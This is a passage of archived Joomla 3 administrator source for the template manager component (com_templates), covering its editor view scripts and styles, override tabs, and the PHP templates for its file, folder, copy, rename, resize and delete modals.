	$('.folder, .component-folder, .plugin-folder, .layout-folder').bind('click',function(e){
		$(this).children('ul').toggle();
		e.stopPropagation();
	});

	// New file tree
	$('#fileModal .folder-url').bind('click',function(e){
		$('.folder-url').removeClass('selected');
		e.stopPropagation();
		$('#fileModal input.address').val($(this).attr('data-id'));
		$(this).addClass('selected');
	});

	// Folder manager tree
	$('#folderModal .folder-url').bind('click',function(e){
		$('.folder-url').removeClass('selected');
		e.stopPropagation();
		$('#folderModal input.address').val($(this).attr('data-id'));
		$(this).addClass('selected');
	});

	var containerDiv = document.querySelector('.span3.tree-holder'),
		treeContainer = containerDiv.querySelector('.nav.nav-list'),
		liEls = treeContainer.querySelectorAll('.folder.show'),
		filePathEl = document.querySelector('p.lead.hidden.path');

	if(filePathEl)
		var filePathTmp = document.querySelector('p.lead.hidden.path').innerText;

	 if(filePathTmp && filePathTmp.charAt( 0 ) === '/' ) {
			filePathTmp = filePathTmp.slice( 1 );
			filePathTmp = filePathTmp.split('/');
			filePathTmp = filePathTmp[filePathTmp.length - 1];

		for (var i = 0, l = liEls.length; i < l; i++) {
			liEls[i].querySelector('a').classList.add('active');
			if (i === liEls.length - 1) {
				var parentUl = liEls[i].querySelector('ul'),
					allLi = parentUl.querySelectorAll('li'); 
	
				for (var i = 0, l = allLi.length; i < l; i++) {
					aEl = allLi[i].querySelector('a'),
					spanEl = aEl.querySelector('span');
	
					if (spanEl && filePathTmp === $.trim(spanEl.innerText)) {
						aEl.classList.add('active');
					}
				}
			}
		}
	}
});");

if ($this->type == 'image')
{
	JFactory::getDocument()->addScriptDeclaration("
		jQuery(document).ready(function($) {
			var jcrop_api;

			// Configuration for image cropping
			$('#image-crop').Jcrop({
				onChange:   showCoords,
				onSelect:   showCoords,
				onRelease:  clearCoords,
				trueSize:   [" . $this->image['width'] . ',' . $this->image['height'] . "]
			},function(){
				jcrop_api = this;
			});

			// Function for calculating the crop coordinates
			function showCoords(c)
			{
				$('#x').val(c.x);
				$('#y').val(c.y);
				$('#w').val(c.w);
				$('#h').val(c.h);
			};

			// Function for clearing the coordinates
			function clearCoords()
			{
				$('#adminForm input').val('');
			};
		});");
}

JFactory::getDocument()->addStyleDeclaration('
	/* Styles for modals */
	.selected{
		background: #08c;
		color: #fff;
	}
	.selected:hover{
		background: #08c !important;
		color: #fff;
	}
	.modal-body .column-left {
		float: left; max-height: 70vh; overflow-y: auto;
	}
	.modal-body .column-right {
		float: right;
	}
	@media (max-width: 767px) {
		.modal-body .column-right {
			float: left;
		}
	}
	#deleteFolder{
		margin: 0;
	}

	#image-crop{
		max-width: 100% !important;
		width: auto;
		height: auto;
	}

	.directory-tree{
		display: none;
	}

	.tree-holder{
		overflow-x: auto;
	}
');

if ($this->type == 'font')
{
	JFactory::getDocument()->addStyleDeclaration(
			"/* Styles for font preview */
		@font-face
		{
			font-family: previewFont;
			src: url('" . $this->font['address'] . "')
		}

		.font-preview{
			font-family: previewFont !important;
		}"
	);
}
?>
<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'editor')); ?>
<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'editor', JText::_('COM_TEMPLATES_TAB_EDITOR')); ?>
<div class="row-fluid">
	<div class="span12">
		<?php if ($this->type == 'file') : ?>
			<p class="lead"><?php echo JText::sprintf('COM_TEMPLATES_TEMPLATE_FILENAME', $this->source->filename, $this->template->element); ?></p>
			<p class="lead path hidden"><?php echo $this->source->filename; ?></p>
		<?php endif; ?>
		<?php if ($this->type == 'image') : ?>
			<p class="lead"><?php echo JText::sprintf('COM_TEMPLATES_TEMPLATE_FILENAME', $this->image['path'], $this->template->element); ?></p>
			<p class="lead path hidden"><?php echo $this->image['path']; ?></p>

		<?php endif; ?>
		<?php if ($this->type == 'font') : ?>
			<p class="lead"><?php echo JText::sprintf('COM_TEMPLATES_TEMPLATE_FILENAME', $this->font['rel_path'], $this->template->element); ?></p>
			<p class="lead path hidden"><?php echo $this->font['rel_path']; ?></p>

		<?php endif; ?>
	</div>
</div>
<div class="row-fluid">
	<div class="span3 tree-holder">
		<?php echo $this->loadTemplate('tree'); ?>
	</div>
	<div class="span9">
		<?php if ($this->type == 'home') : ?>
			<form action="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm" class="form-horizontal">
				<input type="hidden" name="task" value="" />
				<?php echo JHtml::_('form.token'); ?>
				<div class="hero-unit" style="text-align: justify;">
					<h2><?php echo JText::_('COM_TEMPLATES_HOME_HEADING'); ?></h2>
					<p><?php echo JText::_('COM_TEMPLATES_HOME_TEXT'); ?></p>
					<p>
						<a href="https://docs.joomla.org/Special:MyLanguage/J3.x:How_to_use_the_Template_Manager" target="_blank" class="btn btn-primary btn-large">
							<?php echo JText::_('COM_TEMPLATES_HOME_BUTTON'); ?>
						</a>
					</p>
				</div>
			</form>
		<?php endif; ?>
		<?php if ($this->type == 'file') : ?>
			<form action="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm" class="form-horizontal">

				<div class="editor-border">
					<?php echo $this->form->getInput('source'); ?>
				</div>
				<input type="hidden" name="task" value="" />
				<?php echo JHtml::_('form.token'); ?>
				<?php echo $this->form->getInput('extension_id'); ?>
				<?php echo $this->form->getInput('filename'); ?>

			</form>
		<?php endif; ?>
		<?php if ($this->type == 'archive') : ?>
			<legend><?php echo JText::_('COM_TEMPLATES_FILE_CONTENT_PREVIEW'); ?></legend>
			<form action="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm" class="form-horizontal">
				<ul class="nav nav-stacked nav-list well">
					<?php foreach ($this->archive as $file) : ?>
						<li>
							<?php if (substr($file, -1) === DIRECTORY_SEPARATOR) : ?>
								<span class="icon-folder" aria-hidden="true"></span>&nbsp;<?php echo $file; ?>
							<?php endif; ?>
							<?php if (substr($file, -1) != DIRECTORY_SEPARATOR) : ?>
								<span class="icon-file" aria-hidden="true"></span>&nbsp;<?php echo $file; ?>
							<?php endif; ?>
						</li>
					<?php endforeach; ?>
				</ul>
				<input type="hidden" name="task" value="" />
				<?php echo JHtml::_('form.token'); ?>

			</form>
		<?php endif; ?>
		<?php if ($this->type == 'image') : ?>
			<img id="image-crop" src="<?php echo $this->image['address'] . '?' . time(); ?>" />
			<form action="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm" class="form-horizontal">
				<fieldset class="adminform">
					<input type ="hidden" id="x" name="x" />
					<input type ="hidden" id="y" name="y" />
					<input type ="hidden" id="h" name="h" />
					<input type ="hidden" id="w" name="w" />
					<input type="hidden" name="task" value="" />
					<?php echo JHtml::_('form.token'); ?>
				</fieldset>
			</form>
		<?php endif; ?>
		<?php if ($this->type == 'font') : ?>
			<div class="font-preview">
				<form action="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm" class="form-horizontal">
					<fieldset class="adminform">
						<p class="lead">H1</p><h1>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </h1>
						<p class="lead">H2</p><h2>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </h2>
						<p class="lead">H3</p><h3>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </h3>
						<p class="lead">H4</p><h4>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </h4>
						<p class="lead">H5</p><h5>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </h5>
						<p class="lead">H6</p> <h6>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </h6>
						<p class="lead">Bold</p><b>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </b>
						<p class="lead">Italics</p><i>Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML </i>
						<p class="lead">Unordered List</p>
						<ul>
							<li>Item</li>
							<li>Item</li>
							<li>Item<br />
								<ul>
									<li>Item</li>
									<li>Item</li>
									<li>Item<br />
										<ul>
											<li>Item</li>
											<li>Item</li>
											<li>Item</li>
										</ul>
									</li>
								</ul>
							</li>
						</ul>
						<p class="lead">Ordered List</p>
						<ol>
							<li>Item</li>
							<li>Item</li>
							<li>Item<br />
								<ul>
									<li>Item</li>
									<li>Item</li>
									<li>Item<br />
										<ul>
											<li>Item</li>
											<li>Item</li>
											<li>Item</li>
										</ul>
									</li>
								</ul>
							</li>
						</ol>
						<input type="hidden" name="task" value="" />
						<?php echo JHtml::_('form.token'); ?>
					</fieldset>
				</form>
			</div>
		<?php endif; ?>
	</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>

<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'overrides', JText::_('COM_TEMPLATES_TAB_OVERRIDES')); ?>
<div class="row-fluid">
	<div class="span3">
		<legend><?php echo JText::_('COM_TEMPLATES_OVERRIDES_MODULES'); ?></legend>
		<ul class="nav nav-list">
			<?php $token = JSession::getFormToken() . '=' . 1; ?>
			<?php foreach ($this->overridesList['modules'] as $module) : ?>
				<li>
					<?php
					$overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $module->path
							. '&id=' . $input->getInt('id') . '&file=' . $this->file . '&' . $token;
					?>
					<a href="<?php echo JRoute::_($overrideLinkUrl); ?>">
						<span class="icon-copy" aria-hidden="true"></span>&nbsp;<?php echo $module->name; ?>
					</a>
				</li>
			<?php endforeach; ?>
		</ul>
	</div>
	<div class="span3">
		<legend><?php echo JText::_('COM_TEMPLATES_OVERRIDES_COMPONENTS'); ?></legend>
		<ul class="nav nav-list">
			<?php $token = JSession::getFormToken() . '=' . 1; ?>
			<?php foreach ($this->overridesList['components'] as $key => $value) : ?>
				<li class="component-folder">
					<a href="#" class="component-folder-url">
						<span class="icon-folder" aria-hidden="true"></span>&nbsp;<?php echo $key; ?>
					</a>
					<ul class="nav nav-list">
						<?php foreach ($value as $view) : ?>
							<li>
								<?php
								$overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $view->path
										. '&id=' . $input->getInt('id') . '&file=' . $this->file . '&' . $token;
								?>
								<a class="component-file-url" href="<?php echo JRoute::_($overrideLinkUrl); ?>">
									<span class="icon-copy" aria-hidden="true"></span>&nbsp;<?php echo $view->name; ?>
								</a>
							</li>
						<?php endforeach; ?>
					</ul>
				</li>
			<?php endforeach; ?>
		</ul>
	</div>
	<div class="span3">
		<legend><?php echo JText::_('COM_TEMPLATES_OVERRIDES_PLUGINS'); ?></legend>
		<ul class="nav nav-list">
			<?php $token = JSession::getFormToken() . '=' . 1; ?>
			<?php foreach ($this->overridesList['plugins'] as $key => $group) : ?>
				<li class="plugin-folder">
					<a href="#" class="plugin-folder-url">
						<span class="icon-folder" aria-hidden="true"></span>&nbsp;<?php echo $key; ?>
					</a>
					<ul class="nav nav-list">
						<?php foreach ($group as $plugin) : ?>
							<li>
								<?php
								$overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $plugin->path
										. '&id=' . $input->getInt('id') . '&file=' . $this->file . '&' . $token;
								?>
								<a class="plugin-file-url" href="<?php echo JRoute::_($overrideLinkUrl); ?>">
									<span class="icon-copy" aria-hidden="true"></span>&nbsp;<?php echo $plugin->name; ?>
								</a>
							</li>
						<?php endforeach; ?>
					</ul>
				</li>
			<?php endforeach; ?>
		</ul>
	</div>
	<div class="span3">
		<legend><?php echo JText::_('COM_TEMPLATES_OVERRIDES_LAYOUTS'); ?></legend>
		<ul class="nav nav-list">
			<?php $token = JSession::getFormToken() . '=' . 1; ?>
			<?php foreach ($this->overridesList['layouts'] as $key => $value) : ?>
			<li class="layout-folder">
				<a href="#" class="layout-folder-url">
					<span class="icon-folder" aria-hidden="true"></span>&nbsp;<?php echo $key; ?>
				</a>
				<ul class="nav nav-list">
					<?php foreach ($value as $layout) : ?>
						<li>
							<?php
							$overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $layout->path
									. '&id=' . $input->getInt('id') . '&file=' . $this->file . '&' . $token;
							?>
							<a href="<?php echo JRoute::_($overrideLinkUrl); ?>">
								<span class="icon-copy" aria-hidden="true"></span>&nbsp;<?php echo $layout->name; ?>
							</a>
						</li>
					<?php endforeach; ?>
				</ul>
			</li>
			<?php endforeach; ?>
		</ul>
	</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>

<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'description', JText::_('COM_TEMPLATES_TAB_DESCRIPTION')); ?>
<?php echo $this->loadTemplate('description'); ?>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>

<?php // Collapse Modal
$copyModalData = array(
	'selector' => 'copyModal',
	'params'   => array(
		'title'  => JText::_('COM_TEMPLATES_TEMPLATE_COPY'),
		'footer' => $this->loadTemplate('modal_copy_footer'),
	),
	'body'     => $this->loadTemplate('modal_copy_body'),
);
?>
<form action="<?php echo JRoute::_('index.php?option=com_templates&task=template.copy&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm">
	<?php echo JLayoutHelper::render('joomla.modal.main', $copyModalData); ?>
	<?php echo JHtml::_('form.token'); ?>
</form>
<?php if ($this->type != 'home') : ?>
	<?php // Rename Modal
	$renameModalData = array(
		'selector' => 'renameModal',
		'params'   => array(
			'title'  => JText::sprintf('COM_TEMPLATES_RENAME_FILE', $this->fileName),
			'footer' => $this->loadTemplate('modal_rename_footer'),
		),
		'body'     => $this->loadTemplate('modal_rename_body'),
	);
	?>
	<form action="<?php echo JRoute::_('index.php?option=com_templates&task=template.renameFile&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post">
		<?php echo JLayoutHelper::render('joomla.modal.main', $renameModalData); ?>
		<?php echo JHtml::_('form.token'); ?>
	</form>
<?php endif; ?>
<?php if ($this->type != 'home') : ?>
	<?php // Delete Modal
	$deleteModalData = array(
		'selector' => 'deleteModal',
		'params'   => array(
			'title'  => JText::_('COM_TEMPLATES_ARE_YOU_SURE'),
			'footer' => $this->loadTemplate('modal_delete_footer'),
		),
		'body'     => $this->loadTemplate('modal_delete_body'),
	);
	?>
	<?php echo JLayoutHelper::render('joomla.modal.main', $deleteModalData); ?>
<?php endif; ?>
<?php // File Modal
$fileModalData = array(
	'selector' => 'fileModal',
	'params'   => array(
		'title'  => JText::_('COM_TEMPLATES_NEW_FILE_HEADER'),
		'footer' => $this->loadTemplate('modal_file_footer'),
	),
	'body'     => $this->loadTemplate('modal_file_body'),
);
?>
<?php echo JLayoutHelper::render('joomla.modal.main', $fileModalData); ?>
<?php // Folder Modal
$folderModalData = array(
	'selector' => 'folderModal',
	'params'   => array(
		'title'  => JText::_('COM_TEMPLATES_MANAGE_FOLDERS'),
		'footer' => $this->loadTemplate('modal_folder_footer'),
	),
	'body'     => $this->loadTemplate('modal_folder_body'),
);
?>
<?php echo JLayoutHelper::render('joomla.modal.main', $folderModalData); ?>
<?php if ($this->type == 'image') : ?>
	<?php // Resize Modal
	$resizeModalData = array(
		'selector' => 'resizeModal',
		'params'   => array(
			'title'  => JText::_('COM_TEMPLATES_RESIZE_IMAGE'),
			'footer' => $this->loadTemplate('modal_resize_footer'),
		),
		'body'     => $this->loadTemplate('modal_resize_body'),
	);
	?>
	<form action="<?php echo JRoute::_('index.php?option=com_templates&task=template.resizeImage&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post">
		<?php echo JLayoutHelper::render('joomla.modal.main', $resizeModalData); ?>
		<?php echo JHtml::_('form.token'); ?>
	</form>
<?php endif; ?>com_templates/views/template/tmpl/default_modal_delete_footer.php000060400000001600152455305270021536 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input = JFactory::getApplication()->input;
?>
<form method="post" action="">
	<input type="hidden" name="option" value="com_templates" />
	<input type="hidden" name="task" value="template.delete" />
	<input type="hidden" name="id" value="<?php echo $input->getInt('id'); ?>" />
	<input type="hidden" name="file" value="<?php echo $this->file; ?>" />
	<?php echo JHtml::_('form.token'); ?>
	<button type="button" class="btn" data-dismiss="modal"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
	<button type="submit" class="btn btn-danger"><?php echo JText::_('COM_TEMPLATES_BUTTON_DELETE'); ?></button>
</form>
com_templates/views/template/tmpl/default_modal_resize_body.php000060400000002323152455305270021237 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div id="template-manager-resize" class="container-fluid">
	<div class="row-fluid">
		<div class="control-group">
			<div class="control-label">
				<label for="height" class="modalTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_IMAGE_HEIGHT'); ?>">
					<?php echo JText::_('COM_TEMPLATES_IMAGE_HEIGHT')?>
				</label>
			</div>
			<div class="controls">
				<input class="input-xlarge" type="number" name="height" placeholder="<?php echo $this->image['height']; ?> px" required />
			</div>
		</div>
		<div class="control-group">
			<div class="control-label">
				<label for="width" class="modalTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_IMAGE_WIDTH'); ?>">
					<?php echo JText::_('COM_TEMPLATES_IMAGE_WIDTH')?>
				</label>
			</div>
			<div class="controls">
				<input class="input-xlarge" type="number" name="width" placeholder="<?php echo $this->image['width']; ?> px" required />
			</div>
		</div>
	</div>
</div>
com_templates/views/template/tmpl/default_tree.php000060400000003143152455305270016505 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// use ksort() with SORT_NATURAL flag when minimum PHP is 5.4.
uksort($this->files, 'strnatcmp');

?>
<ul class='nav nav-list directory-tree'>
	<?php foreach ($this->files as $key => $value) : ?>
		<?php if (is_array($value)) : ?>
			<?php
			$keyArray  = explode('/', $key);
			$fileArray = explode('/', $this->fileName);
			$count     = 0;

			$keyArrayCount = count($keyArray);

			if (count($fileArray) >= $keyArrayCount)
			{
				for ($i = 0; $i < $keyArrayCount; $i++)
				{
					if ($keyArray[$i] === $fileArray[$i])
					{
						$count++;
					}
				}

				if ($count === $keyArrayCount)
				{
					$class = 'folder show';
				}
				else
				{
					$class = 'folder';
				}
			}
			else
			{
				$class = 'folder';
			}

			?>
			<li class="<?php echo $class; ?>">
				<a class='folder-url nowrap' href=''>
					<span class='icon-folder'>&nbsp;<?php $explodeArray = explode('/', $key); echo $this->escape(end($explodeArray)); ?></span>
				</a>
				<?php echo $this->directoryTree($value); ?>
			</li>
		<?php endif; ?>
		<?php if (is_object($value)) : ?>
			<li>
				<a class="file nowrap" href='<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . $this->id . '&file=' . $value->id) ?>'>
					<span class='icon-file'>&nbsp;<?php echo $this->escape($value->name); ?></span>
				</a>
			</li>
		<?php endif; ?>
	<?php endforeach; ?>
</ul>
com_templates/views/template/tmpl/default_modal_file_footer.php000060400000000605152455305270021217 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<button type="button" class="btn" data-dismiss="modal"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
com_templates/views/template/tmpl/default_description.php000060400000001502152455305270020066 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<div class="pull-left">
	<?php echo JHtml::_('templates.thumb', $this->template->element, $this->template->client_id); ?>
	<?php echo JHtml::_('templates.thumbModal', $this->template->element, $this->template->client_id); ?>
</div>
<h2><?php echo ucfirst($this->template->element); ?></h2>
<?php $client = JApplicationHelper::getClientInfo($this->template->client_id); ?>
<p><?php $this->template->xmldata = TemplatesHelper::parseXMLTemplateFile($client->path, $this->template->element); ?></p>
<p><?php echo JText::_($this->template->xmldata->description); ?></p>com_templates/views/template/tmpl/readonly.php000060400000002115152455305270015655 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');

$input = JFactory::getApplication()->input;
?>
<form action="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm" class="form-horizontal">
	<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'description')); ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'description', JText::_('COM_TEMPLATES_TAB_DESCRIPTION')); ?>
			<?php echo $this->loadTemplate('description'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_templates/views/template/tmpl/default_modal_rename_footer.php000060400000000763152455305270021554 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<button type="button" class="btn" data-dismiss="modal"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
<button type="submit" class="btn btn-primary"><?php echo JText::_('COM_TEMPLATES_BUTTON_RENAME'); ?></button>
com_templates/views/template/tmpl/default_modal_resize_footer.php000060400000000763152455305270021606 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<button type="button" class="btn" data-dismiss="modal"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
<button type="submit" class="btn btn-primary"><?php echo JText::_('COM_TEMPLATES_BUTTON_RESIZE'); ?></button>
com_templates/views/template/tmpl/default_modal_folder_body.php000060400000002275152455305270021217 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input = JFactory::getApplication()->input;
?>
<div id="template-manager-folder" class="container-fluid">
	<div class="row-fluid">
		<div class="span12">
			<div class="span6 column-right">
				<form method="post" action="<?php echo JRoute::_('index.php?option=com_templates&task=template.createFolder&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" class="well">
					<fieldset class="form-inline">
						<label><?php echo JText::_('COM_TEMPLATES_FOLDER_NAME'); ?></label>
						<input type="text" name="name" required />
						<input type="hidden" class="address" name="address" />
						<?php echo JHtml::_('form.token'); ?>
						<input type="submit" value="<?php echo JText::_('COM_TEMPLATES_BUTTON_CREATE'); ?>" class="btn btn-primary" />
					</fieldset>
				</form>
			</div>
			<div class="span6 column-left">
				<?php echo $this->loadTemplate('folders'); ?>
				<hr class="hr-condensed" />
			</div>
		</div>
	</div>
</div>
com_templates/views/template/tmpl/default_modal_delete_body.php000060400000000712152455305270021200 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div id="template-manager-delete" class="container-fluid">
	<div class="row-fluid">
		<p><?php echo JText::sprintf('COM_TEMPLATES_MODAL_FILE_DELETE', $this->fileName); ?></p>
	</div>
</div>com_templates/views/template/tmpl/default_modal_copy_body.php000060400000001546152455305270020716 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div id="template-manager-copy" class="container-fluid">
	<div class="row-fluid">
		<div class="form-horizontal">
			<div class="control-group">
				<div class="control-label">
					<label for="new_name" class="modalTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL', 'COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC'); ?>">
						<?php echo JText::_('COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL'); ?>
					</label>
				</div>
				<div class="controls">
					<input class="input-xlarge" type="text" id="new_name" name="new_name"  />
				</div>
			</div>
		</div>
	</div>
</div>
com_templates/views/template/tmpl/default_modal_file_body.php000060400000006534152455305270020665 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input = JFactory::getApplication()->input;
?>
<div id="template-manager-file" class="container-fluid">
	<div class="row-fluid">
		<div class="span12">
			<div class="span6 column-right">
				<form method="post" action="<?php echo JRoute::_('index.php?option=com_templates&task=template.createFile&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" class="well">
					<fieldset class="form-inline">
						<label><?php echo JText::_('COM_TEMPLATES_FILE_NAME'); ?></label>
						<input type="text" name="name" required />
						<select class="input-medium" data-chosen="true" name="type" required >
							<option value="">- <?php echo JText::_('COM_TEMPLATES_NEW_FILE_SELECT'); ?> -</option>
							<option value="css">css</option>
							<option value="php">php</option>
							<option value="js">js</option>
							<option value="xml">xml</option>
							<option value="ini">ini</option>
							<option value="less">less</option>
							<option value="sass">sass</option>
							<option value="scss">scss</option>
							<option value="txt">txt</option>
						</select>
						<input type="hidden" class="address" name="address" />
						<?php echo JHtml::_('form.token'); ?>
						<input type="submit" value="<?php echo JText::_('COM_TEMPLATES_BUTTON_CREATE'); ?>" class="btn btn-primary" />
					</fieldset>
				</form>
				<form method="post" action="<?php echo JRoute::_('index.php?option=com_templates&task=template.uploadFile&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" class="well" enctype="multipart/form-data">
					<fieldset class="form-inline">
						<input type="hidden" class="address" name="address" />
						<input type="file" name="files" required />
						<?php echo JHtml::_('form.token'); ?>
						<input type="submit" value="<?php echo JText::_('COM_TEMPLATES_BUTTON_UPLOAD'); ?>" class="btn btn-primary" /><br>
						<?php $cMax    = $this->state->get('params')->get('upload_limit'); ?>
						<?php $maxSize = JHtml::_('number.bytes', JUtility::getMaxUploadSize($cMax . 'MB')); ?>
						<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
					</fieldset>
				</form>
				<?php if ($this->type != 'home') : ?>
					<form method="post" action="<?php echo JRoute::_('index.php?option=com_templates&task=template.copyFile&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" class="well" enctype="multipart/form-data">
						<fieldset class="form-inline">
							<input type="hidden" class="address" name="address" />
							<label for="new_name" class="modalTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_FILE_NEW_NAME_DESC'); ?>">
								<?php echo JText::_('COM_TEMPLATES_FILE_NEW_NAME_LABEL')?>
							</label>
							<input type="text" id="new_name" name="new_name" required />
							<?php echo JHtml::_('form.token'); ?>
							<input type="submit" value="<?php echo JText::_('COM_TEMPLATES_BUTTON_COPY_FILE'); ?>" class="btn btn-primary" />
						</fieldset>
					</form>
				<?php endif; ?>
			</div>
			<div class="span6 column-left">
				<?php echo $this->loadTemplate('folders'); ?>
				<hr class="hr-condensed" />
			</div>
		</div>
	</div>
</div>
com_templates/views/template/tmpl/default_folders.php000060400000001424152455305270017204 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
ksort($this->files, SORT_STRING);
?>

<ul class='nav nav-list directory-tree'>
	<?php foreach ($this->files as $key => $value) : ?>
		<?php if (is_array($value)) : ?>
			<li class="folder-select">
				<a class='folder-url nowrap' data-id='<?php echo base64_encode($key); ?>' href=''>
					<span class='icon-folder'>&nbsp;<?php $explodeArray = explode('/', $key); echo $this->escape(end($explodeArray)); ?></span>
				</a>
				<?php echo $this->folderTree($value); ?>
			</li>
		<?php endif; ?>
	<?php endforeach; ?>
</ul>
com_templates/views/template/tmpl/default_modal_copy_footer.php000060400000000763152455305270021257 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
